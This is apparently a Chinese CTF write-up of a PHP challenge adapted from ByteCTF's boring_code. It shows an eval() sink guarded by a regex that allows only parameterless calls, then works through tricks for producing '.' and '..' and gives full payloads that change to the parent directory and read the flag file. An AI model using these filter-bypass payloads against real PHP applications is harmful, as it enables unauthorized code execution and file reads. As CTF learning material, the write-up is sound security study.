0%

decade wp

decade wp

复现复现,是一道bytectf修改了的题,加了几个过滤

无参数函数的命令执行

<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if (!empty($code)) {
        if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
            if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    eval($code);
                }
            }
        else {
            echo "No way!!!";
        }
}else {
        echo "No way!!!";
    }

贴一下源码

这个正则大概意思就是只允许无参数的函数调用,并且函数还得是全英文的,不能有下划线数字之类的,(?R)表示引用当前正则表达式,?匹配一次或零次,也就是可以func1(func2(func3(())))这样子,后来看了师傅们的payload发现还可以func1(func2())func3()这个样子

无中生有的用函数返回值获取字符串

各种各样的神仙技巧,要求对各个函数的功能足够熟练才能做出来了,fuzz跑出内置函数然后做数学题或者各种各样的变换,我只能列一下学到的知识了

获取’.’

思路一

第一步,用chr(47)获取.,第二步,想办法无中生有一个数字出来,大佬的fuzz跑出来了一个phpversion函数,返回一个当前版本号,7.xxx,然后开始做数学题(我不太清楚这个数学题怎么做的)
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))=47
这样子我们就可以访问当前目录了

思路二

fuzz测试出localeconv()函数返回数组的第一位是.,就能直接current(localeconv())拿到

思路三

用crypt函数对字符串进行加密,有概率在最后一位出现一个.,然后strrev翻转字符串,chr(ord())取得第一位,概率获得一个.
chr(ord(strrev(crypt(($arg)))))这里的arg好像是啥都行,数字,bool值都可以
所以用phpversion()也好,接着chdir()也好,都能用,就是概率性问题
还有见到用serialize(array())来获取字符串的

获取’..’穿越目录

flag在上级目录,所以我们还得拿一个..进行目录穿越,在执行ls -a的时候,列出来的目录的第二位是一个..,所以我们next(scandir())就能获得..

跳完目录还得再获取一个’.’

需要chdir穿越目录之后再来一个.,chdir的返回值是一个布尔值true,大佬说用localtime(time(true))可以构造一个47出来,因为时间不同会随之变化,但是实际上我试的时候怎么试都是0,该方案只得作罢
否则如果成功穿越目录并scandir的话,可以继续使用next(),current(),end()等函数读取处于特定位置的文件
样例payload:echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));
又:本地测试时显示pos函数的返回值为空,查一下发现可以用current函数代替,不知道大佬是怎么做出来的

跳目录与读文件分开的奇妙操作

可以用if()func()这样的语法执行跳目录,在if里面跳目录,然后chdir返回一个true,if语句就通过了,再在后面执行读文件,不得不说是非常高级的思路了(然而我读的时候没意识到正则还能这么匹配过去)
所以我们if(chdir(..))readfile(scandir(.)),根据scandir的情况选择用哪个函数读取处于哪个位置的文件

本题payload

以上部分均为bytectf的boring_code,这之前还有一层跳转的绕过,本题去掉了之前的一层又多加了几个过滤,把我们做数学题时用到的sqrt,获取第二个.的time,local,还有读文件的readfile和分开跳目录读文件的if给禁止了,可以用一些相关函数代替
if只是为了分开执行一下语句,我们用一个while也可以达到同样的效果,数学方法没得了就可以用之前提到的加密方法去做,不过存在了一定的随机性
readfile被禁止了可以用file函数代替,不同的是file函数会把文件分行读进一个数组里,print_r,var_dump带下划线不能用了,echo会输出Array,又是current,next,end几个函数读特定行
payload:while(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))echo(next(file(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))))));

思考

其实看看禁用的列表也能得到部分出题人对这种绕过的思路
strlen就是一个获得数字的方法,info估计就能获得各种各样的字符了,rand生成随机数,bin,hex二进制十六进制应该也能整出数字来

参考链接

http://zeroyu.xyz/2019/09/14/2019-bytectf-writeup/tp://zeroyu.xyz/2019/09/14/2019-bytectf-writeup/